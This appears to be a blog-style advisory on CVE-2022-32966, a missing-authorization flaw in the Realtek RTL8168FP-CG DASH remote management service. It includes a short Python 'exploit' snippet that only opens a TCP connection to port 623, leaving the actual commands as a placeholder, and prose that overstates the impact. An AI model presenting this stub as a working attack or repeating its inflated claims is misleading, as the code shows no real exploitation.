CVE-2022-32966: Unauthenticated Access to RTL8168FP-CG Dash Remote Management Function Leads To Service Disruption

The RTL8168FP-CG Ethernet controller features an advanced remote management function known as the Dash (Desktop and Mobile Architecture for System Hardware) for efficient communication and control of devices. Recently, a critical security vulnerability has been identified within the Dash remote management function of the RTL8168FP-CG, potentially allowing unauthenticated attackers to disrupt services by connecting to the DASH service port. This issue has been assigned the identifier CVE-2022-32966.

Background

With increasing reliance on networked devices, remote management protocols like Dash have become a necessity for IT administrators to easily control and maintain devices. While the RTL8168FP-CG Ethernet controller offers this remote management functionality through its Dash protocol, it has been found that there is a missing authorization component. This vulnerability allows an attacker within the adjacent network to potentially connect to the DASH service port without proper authentication and cause a disruption in service.

Exploit Details

An attacker can exploit the vulnerability by sending unauthorized commands to the remote management function, accessing sensitive system information, or even causing a denial of service (DoS) on the target device. Below is a code snippet that demonstrates how an attacker might connect to the DASH service port:

import socket

TARGET_IP = '192.168.1.100'  # Replace with the target device IP address
DASH_PORT = 623               # Default DASH service port number

def exploit():
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        sock.connect((TARGET_IP, DASH_PORT))
        print(f"Connected to the target {TARGET_IP}:{DASH_PORT}")
        # Send unauthorized commands here
    except socket.error as e:
        print(f"Unable to connect to the target {TARGET_IP}:{DASH_PORT}")
        print(f"Error: {e}")
    finally:
        sock.close()

if __name__ == '__main__':
    exploit()

Original references

The following sources provide more details on the RTL8168FP-CG Dash remote management function vulnerability:

- Realtek: RTL8168FP-CG Product Page
- CVE Details: CVE-2022-32966

Mitigation

As this vulnerability can cause substantial harm and potential service disruptions, it is recommended that users immediately update their device firmware and ensure that the latest security patches are applied. Additionally, it is wise to implement network segmentation and restrict access to the device's management services only to authorized personnel. Lastly, following the principle of least privilege can help further mitigate the impact of this vulnerability.

Conclusion

The CVE-2022-32966 vulnerability in the RTL8168FP-CG Dash remote management function serves as a timely reminder of the importance of proper authentication and authorization mechanisms in managing devices remotely. By understanding the exploit details and taking the necessary steps to update firmware and restrict unauthorized access, organizations can significantly reduce the risks associated with this vulnerability, ensuring the robustness of their networking infrastructure and security posture.

Timeline

Published on: 11/29/2022 04:15:00 UTC